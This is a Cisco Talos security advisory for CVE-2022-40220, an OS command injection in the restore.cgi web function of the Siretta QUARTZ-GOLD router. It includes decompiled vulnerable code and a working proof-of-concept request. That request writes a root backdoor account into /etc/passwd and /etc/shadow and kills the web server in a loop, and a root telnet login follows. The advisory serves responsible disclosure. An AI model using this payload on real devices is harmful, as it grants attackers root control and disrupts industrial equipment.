CVE-2022-40220: TALOS-2022-1612 || Cisco Talos Intelligence Group

SUMMARY

An OS command injection vulnerability exists in the httpd txt/restore.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted network request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

PRODUCT URLS

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

CVSSv3 SCORE

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP, LTE, WAN failover, and many others.

The QUARTZ-GOLD router has a web server with several functionalities. One functionality sets several nvram variables and then reboots the router.

This functionality is allowed through the txt/restore.cgi API. Following one of the functions involved in executing this API:

void wi_restore_custom(char* url,size_t len)

{
 [...]

  read_len = len;
  [...]
  tmp_dir_path[0] = '\0';
  data_pointer = (void *)skip_header(&read_len);
  if (data_pointer != (void *)0x0) {
    [...]
    data_pointer = malloc(read_len);
    [...]
    is_same = web_read(data_pointer,read_len);
    read_len = read_len - is_same;
    strcpy(tmp_dir_path,"/tmp/nvram_restoreXXXXXX");
    mktemp(tmp_dir_path);
    iVar1 = f_write(tmp_dir_path,data_pointer,is_same,0,0x180);                                                 [1]
    [...]
    tmp_dir_fd = fopen(tmp_dir_path,"r");
    if (tmp_dir_fd != (FILE *)0x0) {
      while (buffer = fgets(web_data,0x200,tmp_dir_fd), buffer != (char *)0x0) {
        buffer = strdup(web_data);
        if (buffer == (char *)0x0) goto LAB_00016940;
        is_same = _vstrsep(buffer,"=",&nvram_key,&nvram_value,0);                                               [2]
        if ((((1 < is_same) && (is_same = strcmp(nvram_key,"routersn"), is_same != 0)) &&
            (is_same = strcmp(nvram_key,"et0macaddr"), is_same != 0)) &&
           (((is_same = strcmp(nvram_key,"lan_hwaddr"), is_same != 0 &&
             (is_same = strcmp(nvram_key,"wan_hwaddr"), is_same != 0)) &&
            (is_same = strcmp(nvram_key,"wl0_hwaddr"), is_same != 0)))) {
          sprintf(system_command,"nvram set %s=%s",nvram_key,nvram_value);                                      [3]
          system(system_command);                                                                               [4]
          memset(web_data,0,0x200);
         [...]
        }
        [...]
}

wi_restore_custom will, at [1], write the request’s body into a temporary file. The request’s body should contain a series of lines of the <nvaram_key>=<nvram_value> format. Indeed, at [2], a line of the request’s body is parsed and split in two parts: the nvram key and the nvram value. At [3] the nvram set <parsed_nvram_key>=<parsed_nvram_value> string is composed; then it is executed at [4] using the system function.

No command injection related checks are performed on the, supposedly, nvram_key and the nvram_value. This means that any value will reach the system function without command injection related checks. Because of this the wi_restore_custom function is vulnerable to an OS command injection. This vulnerability can lead to arbitrary command execution.

Exploit Proof of Concept

Sending a request like the following:

POST /txt/restore.cgi?_http_id=<a valid TID> HTTP/1.1
Authorization: Basic <a valid basic auth>
Content-Length: 428
Content-Type: multipart/form-data; boundary=c6ced257295a2b54067e956663d1fbda

--c6ced257295a2b54067e956663d1fbda
Content-Disposition: form-data; name="content"; filename="content"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `echo "">>/etc/passwd; echo "poc:x:0:0:root:/root:/bin/sh" >> /etc/passwd; echo "" >> /etc/shadow; echo 'poc:$1$HSeR2q0g$KOjqL5H5DKyLpf0H1apr51:0:0:99999:7:0:0:'>> /etc/shadow; while [ 1 ]; do killall httpd; done`=POC
--c6ced257295a2b54067e956663d1fbda--

If the request was successful, it is now possible to access the device using poc:admin as credentials. For instance connecting, using telnet, to port 2323 we can provide the injected credentials:

telnet 192.168.0.1 2323
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
QUARTZ-GOLD login: poc
Password: 

root@QUARTZ-GOLD:/tmp/home/root#

TIMELINE

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.